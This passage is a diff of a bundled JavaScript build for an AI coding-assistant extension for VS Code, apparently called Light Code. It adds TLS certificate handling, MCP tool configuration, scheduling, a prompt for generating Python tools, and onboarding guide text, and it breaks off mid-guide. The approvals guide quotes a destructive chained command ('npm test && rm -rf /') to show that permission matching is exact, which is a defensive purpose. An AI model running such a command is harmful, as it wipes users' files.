@@ -49434,6 +49246,172 @@ function date4(params) {
|
|
|
49434
49246
|
// ../../node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/classic/external.js
|
|
49435
49247
|
config(en_default());
|
|
49436
49248
|
|
|
49249
|
+
// ../../packages/core/dist/platform/http.js
|
|
49250
|
+
var import_undici = __toESM(require_undici(), 1);
|
|
49251
|
+
import { createHash } from "node:crypto";
|
|
49252
|
+
|
|
49253
|
+
// ../../packages/core/dist/platform/tls.js
|
|
49254
|
+
import fs from "node:fs";
|
|
49255
|
+
import tls from "node:tls";
|
|
49256
|
+
var cachedExtraCaCerts;
|
|
49257
|
+
var cachedExtraCaPath;
|
|
49258
|
+
function readNodeExtraCaCerts(env2 = process.env) {
|
|
49259
|
+
const configuredPath = env2.NODE_EXTRA_CA_CERTS;
|
|
49260
|
+
if (configuredPath === void 0 || configuredPath.trim().length === 0)
|
|
49261
|
+
return [];
|
|
49262
|
+
if (cachedExtraCaPath === configuredPath && cachedExtraCaCerts !== void 0)
|
|
49263
|
+
return cachedExtraCaCerts;
|
|
49264
|
+
try {
|
|
49265
|
+
const contents = fs.readFileSync(configuredPath, "utf8");
|
|
49266
|
+
cachedExtraCaCerts = contents.trim().length > 0 ? [contents] : [];
|
|
49267
|
+
} catch {
|
|
49268
|
+
cachedExtraCaCerts = [];
|
|
49269
|
+
}
|
|
49270
|
+
cachedExtraCaPath = configuredPath;
|
|
49271
|
+
return cachedExtraCaCerts;
|
|
49272
|
+
}
|
|
49273
|
+
function buildCaBundle(configured, env2 = process.env) {
|
|
49274
|
+
const extraFromEnv = readNodeExtraCaCerts(env2);
|
|
49275
|
+
const extraFromConfig = configured ?? [];
|
|
49276
|
+
if (extraFromEnv.length === 0 && extraFromConfig.length === 0)
|
|
49277
|
+
return void 0;
|
|
49278
|
+
return [...tls.rootCertificates, ...extraFromEnv, ...extraFromConfig];
|
|
49279
|
+
}
|
|
49280
|
+
function buildConnectOptions(options, env2 = process.env) {
|
|
49281
|
+
const connect = {};
|
|
49282
|
+
if (options.rejectUnauthorized === false)
|
|
49283
|
+
connect.rejectUnauthorized = false;
|
|
49284
|
+
if (options.cert !== void 0)
|
|
49285
|
+
connect.cert = options.cert;
|
|
49286
|
+
if (options.key !== void 0)
|
|
49287
|
+
connect.key = options.key;
|
|
49288
|
+
if (options.pfx !== void 0)
|
|
49289
|
+
connect.pfx = options.pfx;
|
|
49290
|
+
if (options.passphrase !== void 0)
|
|
49291
|
+
connect.passphrase = options.passphrase;
|
|
49292
|
+
const ca = buildCaBundle(options.ca, env2);
|
|
49293
|
+
if (ca !== void 0)
|
|
49294
|
+
connect.ca = ca;
|
|
49295
|
+
return connect;
|
|
49296
|
+
}
|
|
49297
|
+
|
|
49298
|
+
// ../../packages/core/dist/platform/http.js
|
|
49299
|
+
function tlsKey(tls2) {
|
|
49300
|
+
const hash2 = createHash("sha256");
|
|
49301
|
+
for (const part of [tls2.cert, tls2.key, tls2.pfx, ...tls2.ca ?? []]) {
|
|
49302
|
+
hash2.update(part ?? Buffer.alloc(0));
|
|
49303
|
+
hash2.update("|");
|
|
49304
|
+
}
|
|
49305
|
+
hash2.update(tls2.passphrase ?? "");
|
|
49306
|
+
return hash2.digest("hex");
|
|
49307
|
+
}
|
|
49308
|
+
var FetchHttpClient = class {
|
|
49309
|
+
/** Agents are pooled: building one per request would discard connection reuse entirely. */
|
|
49310
|
+
agents = /* @__PURE__ */ new Map();
|
|
49311
|
+
agentFor(tls2) {
|
|
49312
|
+
const key = tlsKey(tls2);
|
|
49313
|
+
const existing = this.agents.get(key);
|
|
49314
|
+
if (existing !== void 0)
|
|
49315
|
+
return existing;
|
|
49316
|
+
const agent = new import_undici.Agent({ connect: buildConnectOptions(tls2) });
|
|
49317
|
+
this.agents.set(key, agent);
|
|
49318
|
+
return agent;
|
|
49319
|
+
}
|
|
49320
|
+
/** Drops pooled agents so the next request rebuilds TLS — call when certs change on disk. */
|
|
49321
|
+
resetTlsAgents() {
|
|
49322
|
+
for (const agent of this.agents.values())
|
|
49323
|
+
void agent.close();
|
|
49324
|
+
this.agents.clear();
|
|
49325
|
+
}
|
|
49326
|
+
async request(url2, options = {}) {
|
|
49327
|
+
const init = {};
|
|
49328
|
+
if (options.method !== void 0)
|
|
49329
|
+
init.method = options.method;
|
|
49330
|
+
if (options.headers !== void 0)
|
|
49331
|
+
init.headers = options.headers;
|
|
49332
|
+
if (options.body !== void 0)
|
|
49333
|
+
init.body = options.body;
|
|
49334
|
+
if (options.signal !== void 0)
|
|
49335
|
+
init.signal = options.signal;
|
|
49336
|
+
if (options.tls !== void 0)
|
|
49337
|
+
init.dispatcher = this.agentFor(options.tls);
|
|
49338
|
+
const response = await (0, import_undici.fetch)(url2, init);
|
|
49339
|
+
return {
|
|
49340
|
+
status: response.status,
|
|
49341
|
+
headers: Object.fromEntries(response.headers.entries()),
|
|
49342
|
+
text: () => response.text(),
|
|
49343
|
+
json: () => response.json(),
|
|
49344
|
+
body: response.body
|
|
49345
|
+
};
|
|
49346
|
+
}
|
|
49347
|
+
};
|
|
49348
|
+
|
|
49349
|
+
// ../../packages/core/dist/platform/connectionTls.js
|
|
49350
|
+
import fs2 from "node:fs/promises";
|
|
49351
|
+
import path2 from "node:path";
|
|
49352
|
+
var TlsConfigError = class extends Error {
|
|
49353
|
+
constructor(message) {
|
|
49354
|
+
super(message);
|
|
49355
|
+
this.name = "TlsConfigError";
|
|
49356
|
+
}
|
|
49357
|
+
};
|
|
49358
|
+
async function readFile(file2, certDir, label, seen) {
|
|
49359
|
+
const resolved = path2.isAbsolute(file2) ? file2 : certDir !== void 0 ? path2.join(certDir, file2) : file2;
|
|
49360
|
+
seen.push(resolved);
|
|
49361
|
+
try {
|
|
49362
|
+
return await fs2.readFile(resolved);
|
|
49363
|
+
} catch (error51) {
|
|
49364
|
+
const code = error51.code;
|
|
49365
|
+
throw new TlsConfigError(code === "ENOENT" ? `${label} not found at "${resolved}". Check the path in Settings \u2192 Network, or set a certificate directory there.` : `Could not read ${label.toLowerCase()} at "${resolved}": ${error51 instanceof Error ? error51.message : String(error51)}`);
|
|
49366
|
+
}
|
|
49367
|
+
}
|
|
49368
|
+
function hasClientMaterial(settings) {
|
|
49369
|
+
return settings?.certFile !== void 0 && settings.certFile.trim().length > 0 || settings?.pfxFile !== void 0 && settings.pfxFile.trim().length > 0;
|
|
49370
|
+
}
|
|
49371
|
+
async function resolveConnectionTls(options) {
|
|
49372
|
+
const paths = [];
|
|
49373
|
+
try {
|
|
49374
|
+
return await build(options, paths);
|
|
49375
|
+
} finally {
|
|
49376
|
+
if (paths.length > 0)
|
|
49377
|
+
options.onPaths?.(paths);
|
|
49378
|
+
}
|
|
49379
|
+
}
|
|
49380
|
+
async function build(options, paths) {
|
|
49381
|
+
const { global: global2, connection, certDir } = options;
|
|
49382
|
+
const cas = [];
|
|
49383
|
+
for (const file2 of [global2?.caFile, connection?.caFile]) {
|
|
49384
|
+
if (file2 !== void 0 && file2.trim().length > 0) {
|
|
49385
|
+
cas.push(await readFile(file2.trim(), certDir, "CA certificate", paths));
|
|
49386
|
+
}
|
|
49387
|
+
}
|
|
49388
|
+
const clientSource = hasClientMaterial(connection) ? connection : connection?.useGlobalClientCertificate === false ? void 0 : hasClientMaterial(global2) ? global2 : void 0;
|
|
49389
|
+
const rejectUnauthorized = connection?.rejectUnauthorized ?? global2?.rejectUnauthorized;
|
|
49390
|
+
if (cas.length === 0 && clientSource === void 0 && rejectUnauthorized !== false)
|
|
49391
|
+
return void 0;
|
|
49392
|
+
const tls2 = {};
|
|
49393
|
+
if (cas.length > 0)
|
|
49394
|
+
tls2.ca = cas;
|
|
49395
|
+
if (rejectUnauthorized === false)
|
|
49396
|
+
tls2.rejectUnauthorized = false;
|
|
49397
|
+
if (clientSource !== void 0) {
|
|
49398
|
+
if (clientSource.pfxFile !== void 0 && clientSource.pfxFile.trim().length > 0) {
|
|
49399
|
+
tls2.pfx = await readFile(clientSource.pfxFile.trim(), certDir, "PFX bundle", paths);
|
|
49400
|
+
} else {
|
|
49401
|
+
const certFile = clientSource.certFile?.trim() ?? "";
|
|
49402
|
+
const keyFile = clientSource.keyFile?.trim() ?? "";
|
|
49403
|
+
if (keyFile.length === 0) {
|
|
49404
|
+
throw new TlsConfigError("A client certificate is configured but no private key. Set the key file in Settings \u2192 Network, or use a PFX bundle.");
|
|
49405
|
+
}
|
|
49406
|
+
tls2.cert = await readFile(certFile, certDir, "Client certificate", paths);
|
|
49407
|
+
tls2.key = await readFile(keyFile, certDir, "Private key", paths);
|
|
49408
|
+
}
|
|
49409
|
+
if (options.passphrase !== void 0)
|
|
49410
|
+
tls2.passphrase = options.passphrase;
|
|
49411
|
+
}
|
|
49412
|
+
return tls2;
|
|
49413
|
+
}
|
|
49414
|
+
|
|
49437
49415
|
// ../../packages/core/dist/mcp/types.js
|
|
49438
49416
|
var stdioServerSchema = external_exports.object({
|
|
49439
49417
|
command: external_exports.string().min(1),
|
|
@@ -49470,6 +49448,12 @@ function resolveToolPermission(toolName, namespacedName, disabledTools, alwaysAl
|
|
|
49470
49448
|
function namespacedToolName(serverName, toolName) {
|
|
49471
49449
|
return `${serverName}__${toolName}`;
|
|
49472
49450
|
}
|
|
49451
|
+
function parseNamespacedToolName(name) {
|
|
49452
|
+
const index = name.indexOf("__");
|
|
49453
|
+
if (index <= 0)
|
|
49454
|
+
return void 0;
|
|
49455
|
+
return { serverName: name.slice(0, index), toolName: name.slice(index + 2) };
|
|
49456
|
+
}
|
|
49473
49457
|
var PACKAGE_RUNNERS = /* @__PURE__ */ new Set(["npx", "npx.cmd", "pnpm", "pnpm.cmd", "pnpx", "bunx", "uvx", "yarn", "yarn.cmd"]);
|
|
49474
49458
|
function isPackageRunnerCommand(command) {
|
|
49475
49459
|
const base = command.split(/[\\/]/).pop()?.toLowerCase() ?? "";
|
|
@@ -49511,6 +49495,20 @@ var scheduleSchema = external_exports.object({
|
|
|
49511
49495
|
* Control tools are always available regardless; they perform no work.
|
|
49512
49496
|
*/
|
|
49513
49497
|
allowedTools: external_exports.array(external_exports.string()),
|
|
49498
|
+
/**
|
|
49499
|
+
* Which skills this run is told about, by name.
|
|
49500
|
+
*
|
|
49501
|
+
* **Absent means all of them**, which is what every schedule written before this existed
|
|
49502
|
+
* means, and the only reading that cannot silently take knowledge away from a job that was
|
|
49503
|
+
* working. An empty array is a real choice — "this run needs none" — and is honoured.
|
|
49504
|
+
*
|
|
49505
|
+
* Why a list rather than the retrieval the chat uses: a scheduled run's tools are an
|
|
49506
|
+
* allowlist the user ticked, and it may well not include `search_docs`, so telling the run
|
|
49507
|
+
* that notes exist and to go and search for them can leave it with nothing to search with.
|
|
49508
|
+
* Choosing the relevant ones up front is also simply better for a job that does the same
|
|
49509
|
+
* thing every night — it knows in advance which conventions apply, where the chat cannot.
|
|
49510
|
+
*/
|
|
49511
|
+
allowedSkills: external_exports.array(external_exports.string()).optional(),
|
|
49514
49512
|
/**
|
|
49515
49513
|
* When the timer will next run this, in epoch ms.
|
|
49516
49514
|
*
|
|
@@ -49546,6 +49544,12 @@ var scheduleSchema = external_exports.object({
|
|
|
49546
49544
|
var MAX_REMEMBERED_RUNS = 20;
|
|
49547
49545
|
var schedulesSchema = external_exports.record(external_exports.string(), scheduleSchema);
|
|
49548
49546
|
var ALWAYS_AVAILABLE_TO_SCHEDULES = ["attempt_completion", "notify"];
|
|
49547
|
+
function skillsForSchedule(skills, allowed) {
|
|
49548
|
+
if (allowed === void 0)
|
|
49549
|
+
return [...skills];
|
|
49550
|
+
const wanted = new Set(allowed);
|
|
49551
|
+
return skills.filter((skill) => wanted.has(skill.name));
|
|
49552
|
+
}
|
|
49549
49553
|
|
|
49550
49554
|
// ../../packages/core/dist/providers/types.js
|
|
49551
49555
|
var wireFormatSchema = external_exports.enum(["openai", "anthropic", "gemini"]);
|
|
@@ -49813,14 +49817,30 @@ var skillsConfigSchema = external_exports.object({
|
|
|
49813
49817
|
}).partial();
|
|
49814
49818
|
var retrievalConfigSchema = external_exports.object({
|
|
49815
49819
|
/**
|
|
49816
|
-
*
|
|
49820
|
+
* **On by default since 0.33.0**, at the user's request: looking a tool up first is the
|
|
49821
|
+
* behaviour they want, and a corporate install with several MCP servers is the case this
|
|
49822
|
+
* product is actually deployed into.
|
|
49817
49823
|
*
|
|
49818
|
-
* The
|
|
49819
|
-
*
|
|
49820
|
-
*
|
|
49821
|
-
*
|
|
49824
|
+
* The cost it trades against is real and unchanged — models are measurably better at
|
|
49825
|
+
* native tool-calling than at naming a tool inside `call_tool`. Two things keep that from
|
|
49826
|
+
* biting a small install: nothing is hidden unless there is something to hide (a workspace
|
|
49827
|
+
* with no MCP or Python tools registers no dispatcher tools at all, so it pays nothing),
|
|
49828
|
+
* and the switch is one click away in Settings → Search, which reports exactly how many
|
|
49829
|
+
* tools it is hiding.
|
|
49822
49830
|
*/
|
|
49823
49831
|
dispatcher: external_exports.boolean(),
|
|
49832
|
+
/**
|
|
49833
|
+
* The same treatment for skills: their names and descriptions leave the prompt and are
|
|
49834
|
+
* found with `search_docs` instead.
|
|
49835
|
+
*
|
|
49836
|
+
* On by default, and paired with `dispatcher` rather than independent of it in practice —
|
|
49837
|
+
* but a separate key because the trade is different. A tool's schema is large and its name
|
|
49838
|
+
* is guessable from the task; a skill's summary is one line and is the *only* thing that
|
|
49839
|
+
* makes the model aware the skill exists at all. So hiding skills saves less and risks
|
|
49840
|
+
* more, which is why a count and a standing instruction to search stay in the prompt even
|
|
49841
|
+
* when the list does not — see `renderSkillsHintForPrompt`.
|
|
49842
|
+
*/
|
|
49843
|
+
skills: external_exports.boolean(),
|
|
49824
49844
|
/**
|
|
49825
49845
|
* Where the documentation corpus is indexed. Absent means `search_docs` still works,
|
|
49826
49846
|
* matching names and descriptions from the live registry instead of by meaning — see
|
|
@@ -49828,6 +49848,12 @@ var retrievalConfigSchema = external_exports.object({
|
|
|
49828
49848
|
*/
|
|
49829
49849
|
docsIndex: external_exports.string()
|
|
49830
49850
|
}).partial();
|
|
49851
|
+
function dispatcherEnabled(retrieval) {
|
|
49852
|
+
return retrieval?.dispatcher !== false;
|
|
49853
|
+
}
|
|
49854
|
+
function skillRetrievalEnabled(retrieval) {
|
|
49855
|
+
return dispatcherEnabled(retrieval) && retrieval?.skills !== false;
|
|
49856
|
+
}
|
|
49831
49857
|
var embedderConfigSchema = external_exports.object({
|
|
49832
49858
|
profileId: external_exports.string().min(1),
|
|
49833
49859
|
model: external_exports.string().min(1),
|
|
@@ -49894,6 +49920,18 @@ var configSchema = external_exports.object({
|
|
|
49894
49920
|
*/
|
|
49895
49921
|
schedules: schedulesSchema,
|
|
49896
49922
|
activeProfileId: external_exports.string(),
|
|
49923
|
+
/**
|
|
49924
|
+
* The profile that writes Python tool source, when it should not be the chat model.
|
|
49925
|
+
*
|
|
49926
|
+
* A cheap model is fine at deciding a tool is needed and describing it, and much worse at
|
|
49927
|
+
* writing the file. Naming a profile here splits the two: the chat model sends a
|
|
49928
|
+
* specification and this one produces the source, which goes through the ordinary approval
|
|
49929
|
+
* prompt showing the real bytes.
|
|
49930
|
+
*
|
|
49931
|
+
* Absent means the chat model writes it, which is the behaviour every release so far has
|
|
49932
|
+
* had. User-scope only for the same reason as `profiles`: it names where inference goes.
|
|
49933
|
+
*/
|
|
49934
|
+
programmingProfileId: external_exports.string(),
|
|
49897
49935
|
certDir: external_exports.string(),
|
|
49898
49936
|
python: pythonConfigSchema,
|
|
49899
49937
|
/**
|
|
@@ -49963,10 +50001,276 @@ function parseConfig(raw) {
|
|
|
49963
50001
|
return result.data;
|
|
49964
50002
|
}
|
|
49965
50003
|
|
|
50004
|
+
// ../../packages/core/dist/session/variables.js
|
|
50005
|
+
var sessionVariableSchema = external_exports.object({
|
|
50006
|
+
name: external_exports.string().min(1),
|
|
50007
|
+
value: external_exports.string(),
|
|
50008
|
+
/** Shown beside the value. For "which one of these is the staging URL". */
|
|
50009
|
+
description: external_exports.string().optional()
|
|
50010
|
+
});
|
|
50011
|
+
var sessionVariablesSchema = external_exports.array(sessionVariableSchema);
|
|
50012
|
+
var VALID_NAME = /^[A-Za-z_][A-Za-z0-9_]*$/;
|
|
50013
|
+
function isValidVariableName(name) {
|
|
50014
|
+
return VALID_NAME.test(name);
|
|
50015
|
+
}
|
|
50016
|
+
function resolveSessionVariables(adminVariables, userVariables) {
|
|
50017
|
+
const byName = /* @__PURE__ */ new Map();
|
|
50018
|
+
for (const variable of userVariables) {
|
|
50019
|
+
byName.set(variable.name, { ...variable, scope: "user" });
|
|
50020
|
+
}
|
|
50021
|
+
for (const variable of adminVariables) {
|
|
50022
|
+
const displaced = byName.get(variable.name);
|
|
50023
|
+
byName.set(variable.name, {
|
|
50024
|
+
...variable,
|
|
50025
|
+
scope: "admin",
|
|
50026
|
+
...displaced !== void 0 ? { overriddenUserValue: displaced.value } : {}
|
|
50027
|
+
});
|
|
50028
|
+
}
|
|
50029
|
+
return [...byName.values()].sort((a, b) => a.name.localeCompare(b.name));
|
|
50030
|
+
}
|
|
50031
|
+
function toEnvironment(variables) {
|
|
50032
|
+
const env2 = {};
|
|
50033
|
+
for (const variable of variables) {
|
|
50034
|
+
if (!isValidVariableName(variable.name))
|
|
50035
|
+
continue;
|
|
50036
|
+
env2[variable.name] = variable.value;
|
|
50037
|
+
}
|
|
50038
|
+
return env2;
|
|
50039
|
+
}
|
|
50040
|
+
|
|
50041
|
+
// ../../packages/core/dist/python/codeGenerator.js
|
|
50042
|
+
function buildCodeGenerationPrompt(request) {
|
|
50043
|
+
const lines = [
|
|
50044
|
+
"Write one complete Python file implementing the tool described below.",
|
|
50045
|
+
"",
|
|
50046
|
+
"Requirements, all load-bearing:",
|
|
50047
|
+
"- Define a function named `run`. It is the entry point and nothing else is called.",
|
|
50048
|
+
"- Annotate every parameter and the return type. The tool\u2019s schema is derived from those",
|
|
50049
|
+
" hints, so an unannotated parameter cannot be passed by the caller.",
|
|
50050
|
+
"- Write a module docstring. It becomes the tool description the model reads when choosing",
|
|
50051
|
+
" this tool, so say what it does, not how.",
|
|
50052
|
+
"- Document parameters in a Google-style `Args:` block.",
|
|
50053
|
+
"- Declare any third-party dependency in a PEP 723 inline block. Standard library needs none.",
|
|
50054
|
+
"",
|
|
50055
|
+
"**Return the file and nothing else.** No explanation, no fenced code block, no preamble.",
|
|
50056
|
+
"Anything that is not Python will be written to the file verbatim and fail to parse.",
|
|
50057
|
+
"",
|
|
50058
|
+
`Tool name: ${request.toolName}`,
|
|
50059
|
+
"",
|
|
50060
|
+
"What it must do:",
|
|
50061
|
+
request.specification
|
|
50062
|
+
];
|
|
50063
|
+
if (request.existingSource !== void 0 && request.existingSource.length > 0) {
|
|
50064
|
+
lines.push("", "This tool already exists. Change what the requirement asks for and leave the rest alone \u2014", "return the whole file, including the parts you did not touch.", "", "Current file:", request.existingSource);
|
|
50065
|
+
}
|
|
50066
|
+
return lines.join("\n");
|
|
50067
|
+
}
|
|
50068
|
+
function unwrapFencedSource(text) {
|
|
50069
|
+
const trimmed = text.trim();
|
|
50070
|
+
if (!trimmed.startsWith("```"))
|
|
50071
|
+
return text;
|
|
50072
|
+
const firstNewline = trimmed.indexOf("\n");
|
|
50073
|
+
if (firstNewline === -1)
|
|
50074
|
+
return text;
|
|
50075
|
+
const opening = trimmed.slice(0, firstNewline).trim();
|
|
50076
|
+
if (!/^```[a-zA-Z0-9]*$/.test(opening))
|
|
50077
|
+
return text;
|
|
50078
|
+
if (!trimmed.endsWith("```"))
|
|
50079
|
+
return text;
|
|
50080
|
+
return trimmed.slice(firstNewline + 1, trimmed.length - 3).replace(/\s+$/, "") + "\n";
|
|
50081
|
+
}
|
|
50082
|
+
|
|
50083
|
+
// ../../packages/core/dist/review/types.js
|
|
50084
|
+
function describeSubmission(request) {
|
|
50085
|
+
const what = request.kind === "python-tool" ? "tool" : "skill";
|
|
50086
|
+
return [
|
|
50087
|
+
`Submitted "${request.name}" for review. It is not saved and not callable yet.`,
|
|
50088
|
+
"",
|
|
50089
|
+
`An administrator has to read the ${what} and approve it before it can run. This is not an`,
|
|
50090
|
+
"error and there is nothing to retry \u2014 submitting again would only add a second copy to the",
|
|
50091
|
+
"queue. Tell the user it is waiting for approval and carry on with whatever else the task",
|
|
50092
|
+
"needs."
|
|
50093
|
+
].join("\n");
|
|
50094
|
+
}
|
|
50095
|
+
|
|
50096
|
+
// ../../packages/core/dist/guide/steps.js
|
|
50097
|
+
var GUIDE_STEPS = [
|
|
50098
|
+
{
|
|
50099
|
+
id: "orientation",
|
|
50100
|
+
title: "Where everything is",
|
|
50101
|
+
opensPanel: true,
|
|
50102
|
+
completionEvents: ["onCommand:lightCode.openPanel"],
|
|
50103
|
+
altText: "The VS Code window: the Light Code icon in the activity bar, the chat panel, and the new-task, history, settings and guide buttons in its header.",
|
|
50104
|
+
body: [
|
|
50105
|
+
"Light Code lives in one sidebar panel. The chat is the whole product; the gear opens eleven settings tabs, and the question mark reopens this guide whenever you want it.",
|
|
50106
|
+
"The numbers in the picture are the four things worth knowing before anything else."
|
|
50107
|
+
]
|
|
50108
|
+
},
|
|
50109
|
+
{
|
|
50110
|
+
id: "providers",
|
|
50111
|
+
title: "Providers - point it at a model",
|
|
50112
|
+
tab: "providers",
|
|
50113
|
+
completionEvents: ["onContext:lightCode.hasProvider"],
|
|
50114
|
+
altText: "The Providers tab, showing the profile list and the fields for editing one: preset, label, base URL, authentication, API key, model and Test connection.",
|
|
50115
|
+
body: [
|
|
50116
|
+
"Nothing ships configured. There are no default endpoints, so a fresh install contacts nothing until you fill this in.",
|
|
50117
|
+
"**Preset** prefills a base URL and wire format - OpenAI-compatible, Anthropic, Gemini, DeepSeek - and every field stays editable for a gateway that fronts one differently. **Authentication** is a separate axis: an API key, or Apigee client-certificate mTLS with a token grant. **Model** is fetched from your gateway and always typeable, because many return nothing. Keep one profile per gateway and switch between them from the chat header.",
|
|
50118
|
+
"**Test connection** is the field worth using first: it loads certificates, gets a token, lists models, and tells you which of the three failed."
|
|
50119
|
+
]
|
|
50120
|
+
},
|
|
50121
|
+
{
|
|
50122
|
+
id: "network",
|
|
50123
|
+
title: "Network - certificates, once, for everything",
|
|
50124
|
+
tab: "network",
|
|
50125
|
+
completionEvents: ["onStepSelected"],
|
|
50126
|
+
altText: "The Network tab, showing certificate directory, CA certificate, client certificate and key, PFX bundle, passphrase, and the verify-TLS toggle.",
|
|
50127
|
+
body: [
|
|
50128
|
+
"If your company intercepts TLS or issues client certificates, this is the only place you set that up. It applies to every connection: the gateway, the token endpoint, MCP over HTTP, the vector store and the embedder.",
|
|
50129
|
+
"**CA certificate** is added to the public roots rather than replacing them, so trusting your corporate root does not cost you every other host. **Certificate and key** - or a **PFX bundle**, which is what Windows PKI usually issues - identify you. Any single connection can override either.",
|
|
50130
|
+
"**Verify TLS certificates** can be turned off, and the panel says plainly what that costs: an interceptor can read and change the traffic, API key included. Add the CA instead."
|
|
50131
|
+
]
|
|
50132
|
+
},
|
|
50133
|
+
{
|
|
50134
|
+
id: "chat",
|
|
50135
|
+
title: "The chat - ask for something real",
|
|
50136
|
+
opensPanel: true,
|
|
50137
|
+
completionEvents: ["onContext:lightCode.hasChatted"],
|
|
50138
|
+
altText: "The chat header, with the mode selector, the expert budget, and the four header buttons labelled; below it, the composer.",
|
|
50139
|
+
body: [
|
|
50140
|
+
"Type a request. It reads files, searches, edits and runs commands, one step at a time, and stops when it is done or when it needs you.",
|
|
50141
|
+
"**@** names a file directly. Paste a screenshot, or drop a Word, Excel, PDF or HTML file in. Long output is truncated with a handle it can re-read, so a huge log does not eat the window - the bar above the composer shows what has.",
|
|
50142
|
+
"**Mode** picks what it may do: Code edits and runs, Ask is read-only, Junior brings the expert in. **History** keeps every past task, and reopening one restores the whole transcript."
|
|
50143
|
+
]
|
|
50144
|
+
},
|
|
50145
|
+
{
|
|
50146
|
+
id: "approvals",
|
|
50147
|
+
title: "Approvals - nothing happens without you",
|
|
50148
|
+
tab: "approvals",
|
|
50149
|
+
completionEvents: ["onStepSelected"],
|
|
50150
|
+
altText: "The Approvals tab, showing four auto-approve toggles all off, the always-allowed command and tool lists, extra readable folders, and the maximum-steps setting.",
|
|
50151
|
+
body: [
|
|
50152
|
+
"Every tool call is shown before it runs, as ground truth: the real command, the computed diff, the actual source. Never the model's description of what it means to do. **Deny** is a real answer - it goes back as a result and the turn continues.",
|
|
50153
|
+
"This tab is where standing permission is granted and, more importantly, taken back. The four toggles skip the prompt by category and **all ship off**. Below them are the grants you made in the chat: always-allowed commands, always-allowed MCP tools, and folders outside the workspace it may read.",
|
|
50154
|
+
"Command matching is **exact, byte for byte**. Allowing `npm test` never allows `npm test && rm -rf /`.",
|
|
50155
|
+
"Before its first edit to a task it snapshots the workspace, so you can roll the whole thing back."
|
|
50156
|
+
]
|
|
50157
|
+
},
|
|
50158
|
+
{
|
|
50159
|
+
id: "mcp",
|
|
50160
|
+
title: "MCP - connect the servers you already run",
|
|
50161
|
+
tab: "mcp",
|
|
50162
|
+
completionEvents: ["onStepSelected"],
|
|
50163
|
+
altText: "The MCP tab, showing two servers with health, per-tool Always/Ask/Never controls, and the JSON configuration box.",
|
|
50164
|
+
body: [
|
|
50165
|
+
"Standard `mcpServers` configuration, so a config from another client pastes in unchanged. stdio or HTTP, inferred from whether you gave a command or a URL.",
|
|
50166
|
+
"Servers connect when the panel opens and show health, so a mistyped command is visible immediately rather than the first time something needs it. Every tool is namespaced `server__tool`, and each one has its own **Always / Ask / Never** - one server can expose forty.",
|
|
50167
|
+
"Secrets go in as `${secret:NAME}` and are resolved from the OS keychain at spawn time, never written into the file."
|
|
50168
|
+
]
|
|
50169
|
+
},
|
|
50170
|
+
{
|
|
50171
|
+
id: "python",
|
|
50172
|
+
title: "Python - let it write its own tools",
|
|
50173
|
+
tab: "python",
|
|
50174
|
+
completionEvents: ["onStepSelected"],
|
|
50175
|
+
altText: "The Python tab, showing the enable toggle, uv path, environment choice, tools folder, package index, timeout, and a created tool with its content-hash approval note.",
|
|
50176
|
+
body: [
|
|
50177
|
+
"It can write a Python tool mid-conversation and call it from the next message. Dependencies are declared in the file and installed with `uv`; the schema comes from your type hints, so there is no metadata to keep in step.",
|
|
50178
|
+
"**Python environment** prefers your project's own venv, because that is where your internal libraries already are. **Package index** can point at an internal mirror, or refuse the network entirely.",
|
|
50179
|
+
"This is the sharpest surface in the product, so it is off by default and creating a tool **always** prompts with the full source - no toggle skips it. Approval pins a hash of exactly what you saw; a file edited outside is refused and reported, and tools live in `.lightcode/tools/` so they land in git and get reviewed."
|
|
50180
|
+
]
|
|
50181
|
+
},
|
|
50182
|
+
{
|
|
50183
|
+
id: "skills",
|
|
50184
|
+
title: "Skills - teach it your conventions",
|
|
50185
|
+
tab: "skills",
|
|
50186
|
+
completionEvents: ["onStepSelected"],
|
|
50187
|
+
altText: "The Skills tab, showing two skills, a note that they are found by searching rather than listing, the writable skills folder, extra read-only folders, the problems list, and the approval note.",
|
|
50188
|
+
body: [
|
|
50189
|
+
"A skill is a markdown file with a name and a description. The body is never in the prompt - it is read with `read_file` when a task actually calls for it, so a skill can be as long as you like.",
|
|
50190
|
+
"By default the summaries are not in the prompt either: the assistant searches for a relevant note with `search_docs`, the same way it finds tools. What stays is a count and an instruction to look, so it still knows notes exist - a description nobody sees is a note nobody reads. Switch it off in **Search** if you would rather every summary sat in the prompt.",
|
|
50191
|
+
'This is the answer to "it does not know about our internal libraries". It offers to write one when you explain something durable, and offers to correct one when something contradicts it - a stale skill is worse than a missing one.',
|
|
50192
|
+
"You get a writable folder plus any number of read-only ones, such as a shared team folder, with PATH-style precedence and shadowing reported rather than silently applied. Writing a skill needs approval too: it is prose that steers every future turn."
|
|
50193
|
+
]
|
|
50194
|
+
},
|
|
50195
|
+
{
|
|
50196
|
+
id: "search",
|
|
50197
|
+
title: "Search - find things by meaning",
|
|
50198
|
+
tab: "search",
|
|
50199
|
+
completionEvents: ["onStepSelected"],
|
|
50200
|
+
altText: "The Search tab, showing the backend choice, connection fields, embedding profile, the index button, the two look-things-up toggles for tools and skills, index copying, and query limits.",
|
|
50201
|
+
body: [
|
|
50202
|
+
"Indexing is optional, ships disabled, and is **the largest thing Light Code ever sends anywhere**: it uploads the contents of your workspace to the embedding endpoint you name. It says so, and where to, before the first upload.",
|
|
50203
|
+
"**Qdrant** and **Chroma** run locally if you would rather nothing left the machine; **OpenSearch** is usually the one your company already has. Embeddings reuse a provider profile, so there is no second set of credentials. You can **copy an index between backends**, so changing your mind later does not orphan what you indexed.",
|
|
50204
|
+
"**Looking things up rather than listing them is the default.** MCP and Python tool schemas, and skill summaries, stay out of the prompt; the assistant finds them with `search_docs` and calls them through `call_tool`. Nothing is registered when there is nothing to hide, so a workspace with no MCP servers and no skills pays nothing for it. The tab shows how many things it is hiding, and either half can be switched off - models do call a tool listed in the prompt slightly more reliably than one named through a dispatcher."
|
|
50205
|
+
]
|
|
50206
|
+
},
|
|
50207
|
+
{
|
|
50208
|
+
id: "tools",
|
|
50209
|
+
title: "Tools - everything it can call",
|
|
50210
|
+
tab: "tools",
|
|
50211
|
+
completionEvents: ["onStepSelected"],
|
|
50212
|
+
altText: "The Tools tab, showing the search box and the catalogue grouped into built-in, MCP and Python tools, with the looked-up badge explained.",
|
|
50213
|
+
body: [
|
|
50214
|
+
"One read-only list of every tool available right now: the built-in nine, everything your MCP servers expose, and the Python tools it has written. Search matches descriptions as well as names, so you can look for what you want done rather than what it is called.",
|
|
50215
|
+
